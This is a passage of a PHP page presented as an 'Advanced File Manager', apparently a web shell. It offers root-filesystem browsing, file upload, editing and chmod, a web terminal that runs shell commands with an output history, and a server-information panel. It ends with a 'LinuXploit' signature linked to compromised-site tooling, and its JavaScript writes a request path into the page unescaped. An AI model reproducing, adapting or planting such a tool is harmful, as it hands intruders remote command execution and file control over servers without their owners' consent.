            overflow: hidden;
            border: 1px solid var(--border);
            box-shadow: 0 5px 20px var(--shadow);
        }
        
        .file-header {
            display: grid;
            grid-template-columns: 50px 3fr 120px 120px 150px 200px;
            padding: 18px 25px;
            border-bottom: 2px solid var(--border);
            align-items: center;
            background: var(--dark-light);
            font-weight: 600;
            color: var(--text-primary);
            font-size: 15px;
        }
        
        .file-item {
            display: grid;
            grid-template-columns: 50px 3fr 120px 120px 150px 200px;
            padding: 15px 25px;
            border-bottom: 1px solid var(--border);
            align-items: center;
            transition: all 0.2s;
            color: var(--text-secondary);
        }
        
        .file-item:hover {
            background: var(--dark-light);
            color: var(--text-primary);
        }
        
        .file-icon {
            font-size: 20px;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        
        .size {
            color: var(--text-tertiary);
            font-family: monospace;
            font-size: 14px;
        }
        
        .type {
            color: var(--text-secondary);
            font-size: 14px;
        }
        
        .permission {
            font-family: monospace;
            font-size: 14px;
            color: var(--text-highlight);
            background: var(--dark);
            padding: 5px 10px;
            border-radius: 4px;
            display: inline-block;
        }
        
        .actions {
            display: flex;
            gap: 8px;
            flex-wrap: wrap;
        }
        
        .upload-area {
            border: 3px dashed var(--border);
            border-radius: 12px;
            padding: 40px;
            text-align: center;
            margin-bottom: 30px;
            background: var(--dark-light);
            transition: all 0.3s;
            color: var(--text-secondary);
        }
        
        .upload-area:hover {
            border-color: var(--primary);
            background: var(--dark);
            color: var(--text-primary);
        }
        
        .notification {
            position: fixed;
            top: 25px;
            right: 25px;
            padding: 18px 30px;
            border-radius: 10px;
            color: var(--text-primary);
            font-weight: 600;
            z-index: 1000;
            animation: slideIn 0.3s;
            box-shadow: 0 8px 25px var(--shadow);
            display: flex;
            align-items: center;
            gap: 15px;
            max-width: 400px;
            border: 1px solid transparent;
        }
        
        .notification.success { 
            background: var(--success); 
            border-color: var(--success-light);
        }
        
        .notification.error { 
            background: var(--danger); 
            border-color: var(--danger-light);
        }
        
        @keyframes slideIn {
            from { 
                transform: translateX(100%); 
                opacity: 0; 
            }
            to { 
                transform: translateX(0); 
                opacity: 1; 
            }
        }
        
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.8);
            z-index: 2000;
            align-items: center;
            justify-content: center;
        }
        
        .modal-content {
            background: var(--dark-medium);
            padding: 30px;
            border-radius: 12px;
            max-width: 800px;
            width: 90%;
            max-height: 90%;
            overflow-y: auto;
            border: 1px solid var(--border);
            color: var(--text-primary);
        }
        
        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            border-bottom: 2px solid var(--border);
            padding-bottom: 15px;
        }
        
        textarea.code-editor {
            width: 100%;
            min-height: 400px;
            padding: 15px;
            background: var(--dark);
            color: var(--text-primary);
            border: 1px solid var(--border);
            border-radius: 8px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            line-height: 1.5;
            resize: vertical;
        }
        
        .form-group {
            margin-bottom: 20px;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 8px;
            color: var(--text-primary);
            font-weight: 500;
        }
        
        .form-control {
            width: 100%;
            padding: 12px 15px;
            background: var(--dark-light);
            border: 1px solid var(--border);
            color: var(--text-primary);
            border-radius: 6px;
            font-size: 16px;
        }
        
        .search-container {
            display: flex;
            gap: 15px;
            margin-bottom: 25px;
            align-items: center;
        }
        
        .search-box {
            flex: 1;
            position: relative;
        }
        
        .search-box input {
            width: 100%;
            padding: 14px 20px 14px 50px;
            border: 2px solid var(--border);
            border-radius: 10px;
            font-size: 16px;
            background: var(--dark-light);
            color: var(--text-primary);
        }
        
        .search-box .search-icon {
            position: absolute;
            left: 18px;
            top: 50%;
            transform: translateY(-50%);
            color: var(--gray);
            font-size: 18px;
        }
        
        @media (max-width: 768px) {
            .container {
                padding: 15px;
            }
            
            .file-header, .file-item {
                grid-template-columns: 30px 1fr 80px;
                font-size: 13px;
            }
            
            .size, .type, .permission {
                display: none;
            }
            
            .nav-bar {
                flex-direction: column;
                align-items: stretch;
                gap: 15px;
            }
        }
    </style>
</head>
<body>
    <?php if($message): ?>
        <div class="notification success">
            <i class="fas fa-check-circle"></i> <?php echo htmlspecialchars($message); ?>
        </div>
    <?php endif; ?>
    
    <?php if($error): ?>
        <div class="notification error">
            <i class="fas fa-exclamation-triangle"></i> <?php echo htmlspecialchars($error); ?>
        </div>
    <?php endif; ?>
    
    <div class="container">
        <!-- Header -->
        <div class="header">
            <div class="header-top">
                <h1>
                    <i class="fas fa-server"></i> Advanced File Manager
                    <span style="font-size: 16px; color: var(--text-secondary); font-weight: normal;">
                        <?php echo htmlspecialchars($current_path); ?>
                    </span>
                </h1>
                
                <div style="display: flex; align-items: center; gap: 20px;">
                    <span style="font-size: 15px; color: var(--text-secondary);">
                        <i class="fas fa-user" style="color: var(--accent);"></i> 
                        <?php echo htmlspecialchars($CONFIG['username']); ?>
                    </span>
                    <a href="?logout" class="btn btn-danger">
                        <i class="fas fa-sign-out-alt"></i> Logout
                    </a>
                </div>
            </div>
            
            <!-- Breadcrumb Navigation -->
            <?php echo generateBreadcrumb($current_path, $CONFIG['base_path']); ?>
        </div>
        
        <!-- Navigation Bar -->
        <div class="nav-bar">
            <div class="quick-actions">
                <!-- Tombol Home -->
                <a href="?path=&tab=files" class="btn btn-info">
                    <i class="fas fa-home"></i> Home
                </a>
                
                <!-- Tombol Parent Directory -->
                <?php if($parent_directory !== null): ?>
                <a href="?path=<?php 
                    // Hitung path relatif untuk parent
                    if ($parent_directory === '/') {
                        echo urlencode('/');
                    } else if (strpos($parent_directory, $CONFIG['base_path']) === 0) {
                        // Jika parent di dalam base path
                        $relative = substr($parent_directory, strlen($CONFIG['base_path']));
                        echo urlencode(ltrim($relative, '/'));
                    } else {
                        // Jika parent di luar base path (root navigation)
                        echo urlencode($parent_directory);
                    }
                ?>&tab=files" class="back-button">
                    <i class="fas fa-arrow-left"></i> Parent Directory
                </a>
                <?php endif; ?>
                
                <!-- Tombol Root Filesystem -->
                <?php if($CONFIG['allow_root_navigation']): ?>
                <a href="?path=/&tab=files" class="btn btn-warning">
                    <i class="fas fa-server"></i> Root Filesystem
                </a>
                <?php endif; ?>
                
                <!-- Tombol Create File -->
                <button onclick="showCreateFileModal()" class="btn btn-success">
                    <i class="fas fa-file-circle-plus"></i> Create File
                </button>
                
                <!-- Tombol Create Folder -->
                <button onclick="showCreateFolderModal()" class="btn btn-info">
                    <i class="fas fa-folder-plus"></i> Create Folder
                </button>
                
                <!-- Tombol Upload -->
                <form method="POST" enctype="multipart/form-data" style="display: flex; gap: 12px; align-items: center;">
                    <input type="file" name="file_upload" style="display: none;" id="file-upload" onchange="this.form.submit()">
                    <button type="button" onclick="document.getElementById('file-upload').click()" class="btn btn-primary">
                        <i class="fas fa-upload"></i> Upload File
                    </button>
                </form>
                
                <!-- Tombol Refresh -->
                <a href="?path=<?php echo urlencode($requested_path); ?>&tab=files" class="btn btn-secondary">
                    <i class="fas fa-sync-alt"></i> Refresh
                </a>
            </div>
            
            <!-- Search Box -->
            <div class="search-container" style="margin: 0;">
                <form method="GET" action="" class="search-box">
                    <input type="hidden" name="tab" value="files">
                    <input type="hidden" name="path" value="<?php echo htmlspecialchars($requested_path); ?>">
                    <i class="fas fa-search search-icon"></i>
                    <input type="text" name="search" placeholder="Search files and folders..." 
                           value="<?php echo htmlspecialchars($search_term); ?>"
                           style="width: 100%;">
                </form>
                
                <?php if($search_term): ?>
                <a href="?path=<?php echo urlencode($requested_path); ?>&tab=files" class="btn btn-danger">
                    <i class="fas fa-times"></i> Clear Search
                </a>
                <?php endif; ?>
            </div>
        </div>
        
        <!-- Tabs -->
        <div class="tabs">
            <button class="tab <?php echo $active_tab == 'files' ? 'active' : ''; ?>" onclick="switchTab('files')">
                <i class="fas fa-folder"></i> File Manager
            </button>
            
            <?php if($CONFIG['enable_terminal']): ?>
            <button class="tab <?php echo $active_tab == 'terminal' ? 'active' : ''; ?>" onclick="switchTab('terminal')">
                <i class="fas fa-terminal"></i> Terminal
            </button>
            <?php endif; ?>
            
            <button class="tab <?php echo $active_tab == 'info' ? 'active' : ''; ?>" onclick="switchTab('info')">
                <i class="fas fa-info-circle"></i> Info
            </button>
        </div>
        
        <!-- Tab: File Manager -->
        <div id="tab-files" class="tab-content <?php echo $active_tab == 'files' ? 'active' : ''; ?>">
            <!-- Search Results -->
            <?php if($search_term): ?>
            <div style="background: rgba(33, 150, 243, 0.1); padding: 18px; border-radius: 10px; margin-bottom: 25px; 
                        border-left: 5px solid var(--info); color: var(--text-primary);">
                <i class="fas fa-search" style="color: var(--info);"></i> 
                <strong>Search results for:</strong> "<span style="color: var(--text-highlight);"><?php echo htmlspecialchars($search_term); ?></span>"
                <span style="color: var(--text-tertiary); font-size: 14px; display: block; margin-top: 5px;">
                    Found <?php echo count($search_results); ?> item<?php echo count($search_results) != 1 ? 's' : ''; ?>
                </span>
            </div>
            <?php endif; ?>
            
            <!-- Upload Area -->
            <div class="upload-area" id="upload-area">
                <i class="fas fa-cloud-upload-alt"></i>
                <p style="margin-bottom: 15px; font-size: 18px; color: var(--text-primary);">
                    <strong>Drag & drop files here</strong>
                </p>
                <p style="margin-bottom: 20px; color: var(--text-secondary);">
                    or click the button below to select files
                </p>
                <form method="POST" enctype="multipart/form-data">
                    <input type="file" name="file_upload" id="drag-drop-upload" multiple style="display: none;" onchange="this.form.submit()">
                    <button type="button" onclick="document.getElementById('drag-drop-upload').click()" class="btn btn-primary" style="padding: 12px 25px; font-size: 16px;">
                        <i class="fas fa-upload"></i> Select Files to Upload
                    </button>
                </form>
                <p style="margin-top: 15px; font-size: 14px; color: var(--text-tertiary);">
                    Maximum upload size: <?php echo formatSize($CONFIG['max_upload_size']); ?>
                </p>
            </div>
            
            <!-- File List -->
            <div class="file-list">
                <div class="file-header">
                    <div class="icon"></div>
                    <div>Name</div>
                    <div class="size">Size</div>
                    <div class="type">Type</div>
                    <div class="permission">Permission</div>
                    <div class="actions-header">Actions</div>
                </div>
                
                <?php
                // Parent directory link
                if ($parent_directory !== null && $CONFIG['allow_parent_navigation']) {
                    // Hitung path untuk parent
                    $parent_path_param = '';
                    if ($parent_directory === '/') {
                        $parent_path_param = '/';
                    } else if (strpos($parent_directory, $CONFIG['base_path']) === 0) {
                        $relative = substr($parent_directory, strlen($CONFIG['base_path']));
                        $parent_path_param = ltrim($relative, '/');
                    } else {
                        $parent_path_param = $parent_directory;
                    }
                    
                    echo '<div class="file-item">
                        <div class="file-icon" style="color: var(--accent);">
                            <i class="fas fa-level-up-alt"></i>
                        </div>
                        <div>
                            <a href="?path=' . urlencode($parent_path_param) . '&tab=files" style="color: var(--text-link);">
                                <strong>.. (Parent Directory)</strong>
                            </a>
                        </div>
                        <div class="size">-</div>
                        <div class="type">Directory</div>
                        <div class="permission">' . getPermissionString($parent_directory) . '</div>
                        <div class="actions">
                            <a href="?path=' . urlencode($parent_path_param) . '&tab=files" class="btn btn-sm btn-info">
                                <i class="fas fa-folder-open"></i> Open
                            </a>
                        </div>
                    </div>';
                }
                
                // Display files and folders
                $items = @scandir($current_path);
                if ($items !== false) {
                    usort($items, function($a, $b) use ($current_path) {
                        $aIsDir = is_dir($current_path . '/' . $a);
                        $bIsDir = is_dir($current_path . '/' . $b);
                        if ($aIsDir && !$bIsDir) return -1;
                        if (!$aIsDir && $bIsDir) return 1;
                        return strcasecmp($a, $b);
                    });
                    
                    foreach ($items as $item) {
                        if ($item === '.' || $item === '..') continue;
                        
                        $full_path = $current_path . '/' . $item;
                        $is_dir = is_dir($full_path);
                        $size = $is_dir ? '-' : formatSize(@filesize($full_path));
                        $perm = getPermissionString($full_path);
                        $perm_octal = getPermissionOctal($full_path);
                        
                        // Determine file type
                        $type = $is_dir ? 'Directory' : 'File';
                        $type_color = 'var(--text-secondary)';
                        if (!$is_dir) {
                            $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
                            if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg'])) {
                                $type = 'Image';
                                $type_color = 'var(--success)';
                            } elseif (in_array($ext, ['php', 'html', 'js', 'css', 'json', 'xml'])) {
                                $type = 'Code';
                                $type_color = 'var(--info)';
                            } elseif (in_array($ext, ['pdf'])) {
                                $type = 'PDF';
                                $type_color = 'var(--danger)';
                            } elseif (in_array($ext, ['zip', 'rar', 'tar', 'gz'])) {
                                $type = 'Archive';
                                $type_color = 'var(--warning)';
                            }
                        } else {
                            $type_color = 'var(--warning)';
                        }
                        
                        echo '<div class="file-item">
                            <div class="file-icon">
                                <i class="' . ($is_dir ? 'fas fa-folder' : 'fas fa-file') . '" style="color: ' . ($is_dir ? 'var(--warning)' : 'var(--accent)') . ';"></i>
                            </div>
                            <div>';
                        
                        if ($is_dir) {
                            // Hitung path untuk folder
                            $folder_path_param = '';
                            if ($current_path === '/') {
                                $folder_path_param = '/' . $item;
                            } else if (strpos($current_path, $CONFIG['base_path']) === 0) {
                                // Jika di dalam base path
                                $relative_current = substr($current_path, strlen($CONFIG['base_path']));
                                $relative_current = ltrim($relative_current, '/');
                                $folder_path_param = $relative_current . ($relative_current ? '/' : '') . $item;
                            } else {
                                // Jika di luar base path (root navigation)
                                $folder_path_param = rtrim($current_path, '/') . '/' . $item;
                            }
                            
                            echo '<a href="?path=' . urlencode($folder_path_param) . '&tab=files" 
                                   style="color: var(--text-link); font-weight: 500;">
                                <strong>' . htmlspecialchars($item) . '</strong>
                            </a>';
                        } else {
                            echo '<span style="color: var(--text-primary);">' . htmlspecialchars($item) . '</span>';
                        }
                        
                        echo '</div>
                            <div class="size">' . $size . '</div>
                            <div class="type" style="color: ' . $type_color . ';">' . $type . '</div>
                            <div class="permission">' . $perm . '</div>
                            <div class="actions">';
                        
                        if (!$is_dir) {
                            echo '<a href="?path=' . urlencode($requested_path) . '&download=' . urlencode($item) . '" 
                                   class="btn btn-sm btn-success" title="Download">
                                <i class="fas fa-download"></i>
                            </a>';
                            
                            if ($CONFIG['enable_file_edit'] && is_text_file($item)) {
                                echo '<a href="?path=' . urlencode($requested_path) . '&action=edit&file=' . urlencode($item) . '&tab=files" 
                                       class="btn btn-sm btn-primary" title="Edit">
                                    <i class="fas fa-edit"></i>
                                </a>';
                            }
                        }
                        
                        // Tombol Rename
                        if ($CONFIG['enable_rename']) {
                            echo '<button onclick="showRenameModal(\'' . htmlspecialchars($item) . '\', ' . ($is_dir ? 'true' : 'false') . ')" 
                                    class="btn btn-sm btn-warning" title="Rename">
                                <i class="fas fa-pen"></i>
                            </button>';
                        }
                        
                        // Tombol Change Permission
                        if ($CONFIG['enable_chmod']) {
                            echo '<button onclick="showChmodModal(\'' . htmlspecialchars($item) . '\', \'' . $perm_octal . '\')" 
                                    class="btn btn-sm btn-secondary" title="Change Permissions">
                                <i class="fas fa-lock"></i>
                            </button>';
                        }
                        
                        echo '<a href="?path=' . urlencode($requested_path) . '&delete=' . urlencode($item) . '&tab=files" 
                               onclick="return confirm(\'Are you sure you want to delete \\\'' . htmlspecialchars($item) . '\\\'?\')"
                               class="btn btn-sm btn-danger" title="Delete">
                            <i class="fas fa-trash"></i>
                        </a>
                        </div>
                        </div>';
                    }
                } else {
                    echo '<div class="file-item" style="grid-template-columns: 1fr; text-align: center;">
                        <div style="padding: 30px; color: var(--text-tertiary);">
                            <i class="fas fa-exclamation-circle" style="font-size: 36px; margin-bottom: 15px; color: var(--danger);"></i>
                            <p style="font-size: 18px; color: var(--text-primary);">Cannot read directory contents</p>
                        </div>
                    </div>';
                }
                ?>
            </div>
        </div>
        
        <!-- Tab: Terminal -->
        <?php if($CONFIG['enable_terminal']): ?>
        <div id="tab-terminal" class="tab-content <?php echo $active_tab == 'terminal' ? 'active' : ''; ?>">
            <div style="background: var(--dark); padding: 25px; border-radius: 12px; margin-bottom: 25px; border: 1px solid var(--border);">
                <h3 style="margin-bottom: 20px; color: var(--text-primary);">
                    <i class="fas fa-terminal" style="color: var(--accent);"></i> Web Terminal
                </h3>
                <form method="POST">
                    <div style="display: flex; gap: 12px; margin-bottom: 25px;">
                        <div style="flex: 1; position: relative;">
                            <span style="position: absolute; left: 15px; top: 50%; transform: translateY(-50%); 
                                  color: var(--success); font-weight: bold; font-family: monospace;">$</span>
                            <input type="text" name="terminal_command" placeholder="Enter command (e.g., ls -la, pwd, whoami)..." 
                                   style="width: 100%; padding: 12px 15px 12px 35px; background: var(--dark-light); 
                                          border: 2px solid var(--border); color: var(--text-primary); border-radius: 8px;
                                          font-family: monospace; font-size: 15px;">
                        </div>
                        <button type="submit" class="btn btn-primary" style="padding: 12px 25px;">
                            <i class="fas fa-play"></i> Execute
                        </button>
                    </div>
                </form>
                
                <div class="terminal-output">
                    <?php if(empty($_SESSION['terminal_history'])): ?>
                        <div style="color: var(--text-tertiary); text-align: center; padding: 30px;">
                            <i class="fas fa-terminal" style="font-size: 48px; margin-bottom: 15px; opacity: 0.3;"></i>
                            <p>No commands executed yet.</p>
                        </div>
                    <?php else: ?>
                        <?php foreach($_SESSION['terminal_history'] as $index => $history): ?>
                            <div style="margin-bottom: 20px; border-bottom: 1px solid var(--border); padding-bottom: 15px;">
                                <div style="margin-bottom: 8px;">
                                    <span style="color: var(--success); font-weight: bold; font-family: monospace;">$</span>
                                    <span style="color: var(--text-primary); font-family: monospace; margin-left: 8px;">
                                        <?php echo htmlspecialchars($history['command']); ?>
                                    </span>
                                    <span style="float: right; color: var(--text-tertiary); font-size: 13px;">
                                        <i class="fas fa-clock"></i> <?php echo $history['time']; ?>
                                    </span>
                                </div>
                                <div style="color: var(--text-secondary); font-family: monospace; white-space: pre-wrap; 
                                     background: var(--dark-light); padding: 15px; border-radius: 6px; font-size: 14px; line-height: 1.5;">
                                    <?php echo nl2br(htmlspecialchars($history['output'] ?: '(No output)')); ?>
                                </div>
                            </div>
                        <?php endforeach; ?>
                    <?php endif; ?>
                </div>
            </div>
        </div>
        <?php endif; ?>
        
        <!-- Tab: Info -->
        <div id="tab-info" class="tab-content <?php echo $active_tab == 'info' ? 'active' : ''; ?>">
            <div style="background: var(--dark-medium); padding: 25px; border-radius: 12px; margin-bottom: 25px; border: 1px solid var(--border);">
                <h3 style="margin-bottom: 25px; color: var(--text-primary);">
                    <i class="fas fa-info-circle" style="color: var(--info);"></i> System Information
                </h3>
                
                <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 25px;">
                    <div style="background: var(--dark-light); padding: 20px; border-radius: 10px; border: 1px solid var(--border);">
                        <h4 style="color: var(--text-primary); margin-bottom: 15px; border-bottom: 2px solid var(--primary); padding-bottom: 8px;">
                            <i class="fas fa-server"></i> Server Information
                        </h4>
                        <div style="display: grid; grid-template-columns: 1fr; gap: 12px;">
                            <div style="display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px dashed var(--border);">
                                <span style="color: var(--text-secondary);">PHP Version:</span>
                                <span style="color: var(--text-primary); font-weight: 500;"><?php echo phpversion(); ?></span>
                            </div>
                            <div style="display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px dashed var(--border);">
                                <span style="color: var(--text-secondary);">Server Software:</span>
                                <span style="color: var(--text-primary);"><?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?></span>
                            </div>
                            <div style="display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px dashed var(--border);">
                                <span style="color: var(--text-secondary);">Memory Limit:</span>
                                <span style="color: var(--text-highlight);"><?php echo ini_get('memory_limit'); ?></span>
                            </div>
                            <div style="display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px dashed var(--border);">
                                <span style="color: var(--text-secondary);">Upload Max Size:</span>
                                <span style="color: var(--text-highlight);"><?php echo ini_get('upload_max_filesize'); ?></span>
                            </div>
                            <div style="display: flex; justify-content: space-between; padding: 8px 0;">
                                <span style="color: var(--text-secondary);">Post Max Size:</span>
                                <span style="color: var(--text-highlight);"><?php echo ini_get('post_max_size'); ?></span>
                            </div>
                        </div>
                    </div>
                    
                    <div style="background: var(--dark-light); padding: 20px; border-radius: 10px; border: 1px solid var(--border);">
                        <h4 style="color: var(--text-primary); margin-bottom: 15px; border-bottom: 2px solid var(--accent); padding-bottom: 8px;">
                            <i class="fas fa-folder"></i> File Manager Information
                        </h4>
                        <div style="display: grid; grid-template-columns: 1fr; gap: 12px;">
                            <div style="display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px dashed var(--border);">
                                <span style="color: var(--text-secondary);">Current Path:</span>
                                <span style="color: var(--text-primary); max-width: 200px; overflow: hidden; text-overflow: ellipsis;">
                                    <?php echo htmlspecialchars($current_path); ?>
                                </span>
                            </div>
                            <div style="display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px dashed var(--border);">
                                <span style="color: var(--text-secondary);">Items in Directory:</span>
                                <?php 
                                $items = @scandir($current_path);
                                $item_count = $items ? count($items) - 2 : 0;
                                ?>
                                <span style="color: var(--text-primary); font-weight: 500;"><?php echo $item_count; ?></span>
                            </div>
                            <div style="display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px dashed var(--border);">
                                <span style="color: var(--text-secondary);">File Edit:</span>
                                <span style="color: <?php echo $CONFIG['enable_file_edit'] ? 'var(--success)' : 'var(--danger)'; ?>;">
                                    <?php echo $CONFIG['enable_file_edit'] ? 'Enabled' : 'Disabled'; ?>
                                </span>
                            </div>
                            <div style="display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px dashed var(--border);">
                                <span style="color: var(--text-secondary);">Rename:</span>
                                <span style="color: <?php echo $CONFIG['enable_rename'] ? 'var(--success)' : 'var(--danger)'; ?>;">
                                    <?php echo $CONFIG['enable_rename'] ? 'Enabled' : 'Disabled'; ?>
                                </span>
                            </div>
                            <div style="display: flex; justify-content: space-between; padding: 8px 0;">
                                <span style="color: var(--text-secondary);">Create File:</span>
                                <span style="color: <?php echo $CONFIG['enable_create_file'] ? 'var(--success)' : 'var(--danger)'; ?>;">
                                    <?php echo $CONFIG['enable_create_file'] ? 'Enabled' : 'Disabled'; ?>
                                </span>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Modals -->
    <?php if(isset($editing_file) && $CONFIG['enable_file_edit']): ?>
    <div id="editModal" class="modal" style="display: block;">
        <div class="modal-content">
            <div class="modal-header">
                <h2><i class="fas fa-edit"></i> Edit File: <?php echo htmlspecialchars($editing_file); ?></h2>
                <button class="close-modal" onclick="closeModal('editModal')">&times;</button>
            </div>
            <div class="modal-body">
                <form method="POST" id="editForm">
                    <input type="hidden" name="edit_filename" value="<?php echo htmlspecialchars($editing_file); ?>">
                    <textarea name="file_content" class="code-editor" id="fileContentEditor"><?php echo htmlspecialchars($file_content); ?></textarea>
                </form>
            </div>
            <div class="modal-footer">
                <button type="submit" form="editForm" name="save_edit" class="btn btn-primary">
                    <i class="fas fa-save"></i> Save Changes
                </button>
                <a href="?path=<?php echo urlencode($requested_path); ?>&tab=files" class="btn btn-secondary">
                    <i class="fas fa-times"></i> Cancel
                </a>
            </div>
        </div>
    </div>
    <?php endif; ?>

    <div id="renameModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2><i class="fas fa-pen"></i> Rename</h2>
                <button class="close-modal" onclick="closeModal('renameModal')">&times;</button>
            </div>
            <div class="modal-body">
                <form method="POST" id="renameForm">
                    <input type="hidden" name="old_name" id="renameOldName">
                    <div class="form-group">
                        <label for="renameNewName"><i class="fas fa-font"></i> New Name:</label>
                        <input type="text" name="new_name" id="renameNewName" class="form-control" required>
                    </div>
                </form>
            </div>
            <div class="modal-footer">
                <button type="submit" form="renameForm" name="rename_item" class="btn btn-primary">
                    <i class="fas fa-check"></i> Rename
                </button>
                <button type="button" class="btn btn-secondary" onclick="closeModal('renameModal')">
                    <i class="fas fa-times"></i> Cancel
                </button>
            </div>
        </div>
    </div>

    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2><i class="fas fa-file-circle-plus"></i> Create New File</h2>
                <button class="close-modal" onclick="closeModal('createFileModal')">&times;</button>
            </div>
            <div class="modal-body">
                <form method="POST" id="createFileForm">
                    <div class="form-group">
                        <label for="new_filename"><i class="fas fa-font"></i> File Name:</label>
                        <input type="text" name="new_filename" id="new_filename" class="form-control" 
                               placeholder="example.php, test.txt, etc." required>
                    </div>
                    <div class="form-group">
                        <label for="file_content"><i class="fas fa-file-lines"></i> File Content (optional):</label>
                        <textarea name="file_content" id="file_content" class="code-editor" 
                                  placeholder="Enter file content here..." rows="10"></textarea>
                    </div>
                </form>
            </div>
            <div class="modal-footer">
                <button type="submit" form="createFileForm" name="create_file" class="btn btn-primary">
                    <i class="fas fa-plus"></i> Create File
                </button>
                <button type="button" class="btn btn-secondary" onclick="closeModal('createFileModal')">
                    <i class="fas fa-times"></i> Cancel
                </button>
            </div>
        </div>
    </div>

    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2><i class="fas fa-folder-plus"></i> Create New Folder</h2>
                <button class="close-modal" onclick="closeModal('createFolderModal')">&times;</button>
            </div>
            <div class="modal-body">
                <form method="POST" id="createFolderForm">
                    <div class="form-group">
                        <label for="folder_name"><i class="fas fa-font"></i> Folder Name:</label>
                        <input type="text" name="folder_name" id="folder_name" class="form-control" required>
                    </div>
                </form>
            </div>
            <div class="modal-footer">
                <button type="submit" form="createFolderForm" name="new_folder" class="btn btn-primary">
                    <i class="fas fa-plus"></i> Create Folder
                </button>
                <button type="button" class="btn btn-secondary" onclick="closeModal('createFolderModal')">
                    <i class="fas fa-times"></i> Cancel
                </button>
            </div>
        </div>
    </div>

    <div id="chmodModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2><i class="fas fa-lock"></i> Change Permissions</h2>
                <button class="close-modal" onclick="closeModal('chmodModal')">&times;</button>
            </div>
            <div class="modal-body">
                <form method="POST" id="chmodForm">
                    <input type="hidden" name="chmod_filename" id="chmodFilename">
                    <div class="form-group">
                        <label for="new_permission"><i class="fas fa-key"></i> Permission (Octal):</label>
                        <input type="text" name="new_permission" id="new_permission" class="form-control"
                               placeholder="e.g., 755, 644, 777" maxlength="4" required>
                    </div>
                </form>
            </div>
            <div class="modal-footer">
                <button type="submit" form="chmodForm" name="change_permission" class="btn btn-primary">
                    <i class="fas fa-check"></i> Apply
                </button>
                <button type="button" class="btn btn-secondary" onclick="closeModal('chmodModal')">
                    <i class="fas fa-times"></i> Cancel
                </button>
            </div>
        </div>
    </div>

    <script>
        // Tab switching
        function switchTab(tabName) {
            window.location.href = '?path=' + encodeURIComponent('<?php echo $requested_path; ?>') + '&tab=' + tabName;
        }
        
        // Auto-hide notifications
        setTimeout(() => {
            document.querySelectorAll('.notification').forEach(n => {
                n.style.opacity = '0';
                n.style.transition = 'opacity 0.5s';
                setTimeout(() => n.style.display = 'none', 500);
            });
        }, 5000);
        
        // Modal functions
        function closeModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        function showModal(modalId) {
            document.getElementById(modalId).style.display = 'flex';
        }
        
        function showRenameModal(filename, isDir) {
            document.getElementById('renameOldName').value = filename;
            document.getElementById('renameNewName').value = filename;
            document.getElementById('renameNewName').focus();
            showModal('renameModal');
        }
        
        function showCreateFileModal() {
            document.getElementById('new_filename').value = '';
            document.getElementById('file_content').value = '';
            document.getElementById('new_filename').focus();
            showModal('createFileModal');
        }
        
        function showCreateFolderModal() {
            document.getElementById('folder_name').value = '';
            document.getElementById('folder_name').focus();
            showModal('createFolderModal');
        }
        
        function showChmodModal(filename, currentPerm) {
            document.getElementById('chmodFilename').value = filename;
            document.getElementById('new_permission').value = currentPerm;
            document.getElementById('new_permission').focus();
            showModal('chmodModal');
        }
        
        // Close modal when clicking outside
        window.onclick = function(event) {
            if (event.target.classList.contains('modal')) {
                event.target.style.display = 'none';
                if (event.target.id === 'editModal') {
                    window.location.href = '?path=<?php echo urlencode($requested_path); ?>&tab=files';
                }
            }
        }
        
        // Keyboard shortcuts
        document.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                const modals = document.querySelectorAll('.modal');
                modals.forEach(modal => {
                    if (modal.style.display === 'flex') {
                        modal.style.display = 'none';
                        if (modal.id === 'editModal') {
                            window.location.href = '?path=<?php echo urlencode($requested_path); ?>&tab=files';
                        }
                    }
                });
            }
        });
    </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit